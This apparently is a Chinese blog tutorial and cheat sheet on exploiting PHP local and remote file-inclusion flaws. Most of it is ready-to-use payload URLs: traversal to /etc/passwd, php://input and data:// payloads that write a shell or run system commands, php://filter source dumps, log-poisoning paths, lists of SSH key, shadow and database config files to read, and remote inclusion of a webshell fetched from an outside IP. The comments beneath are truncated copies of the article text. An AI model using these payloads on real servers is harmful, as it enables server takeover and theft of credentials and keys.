文件包含漏洞发现与利用
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
1、本地包含漏洞 :被包含的文件在服务器本地
本地包含漏洞利用
包含/etc/passwd
http://www.webtester.com/include/file01.php?file=../../../../etc/passwd
1.利用 上传图片->包含图片Getshell
2.读取文件,读php源代码
3.包含日志文件Getshell
4.包含proc/self/environ 文件getshell
5.phpinfo 包含临时文件
6.伪协议
伪协议 包含data:// 或者php://等协议(allow_url_include=On)
1) php://input
说明:
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
URL:
http://www.webtester.com/include/file01.php?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
2)data://
说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
http://www.webtester.com//include/file01.php?file=data:text/plain,<?php system(id)?>
http://www.webtester.com//include/file01.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
3)php://filter
说明:
这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码
http://www.webtester.com/include/file01.php?file=php://filter/read=convert.base64-encode/resource=file01.php
4)包含日志文件getshell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
5)读取网站配置文件
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
6)包含系统配置文件
windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql配置
C:/ProgramFiles/mysql/data/mysql/user.MYD //Mysqlroot
C:/Windows/php.ini //php配置信息
C:/Windows/my.ini //Mysql配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
2、远程包含:被包含的文件在第三方服务器
条件 php.ini 中的配置项
allow_url_fopen On
allow_url_include On
包含远程WEBSHELL
http://www.webtester.com/include/file01.php?file=http://192.168.0.121/x.txt
文件是可看得到 包含过来的文件最好是个txt。
相关文章
- 5条评论
- 泪灼本萝2022-06-03 04:03:06
- _url_fopen Onallow_url_include On包含远程WEBSHELLhttp://www.webtester.com/include/file01.php?file=http://192.168.0.121/x
- 南殷娇痞2022-06-03 00:18:58
- tp://www.webtester.com/include/file01.php?file=php://input POST:<?php fputs(fopen("shell.php","a
- 瑰颈汐鸠2022-06-02 22:59:56
- php://input说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。条件:php <5.0 ,allow_url_include=Of
- 世味谷夏2022-06-03 09:20:40
- /.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /e
- 鸢旧长野2022-06-03 02:23:59
- 原本的include的文件流重定向到了用户可控制的输入流中条件:allow_url_include=Onphp > 5.2http://www.webtester.com//include/file01.php?file=data:text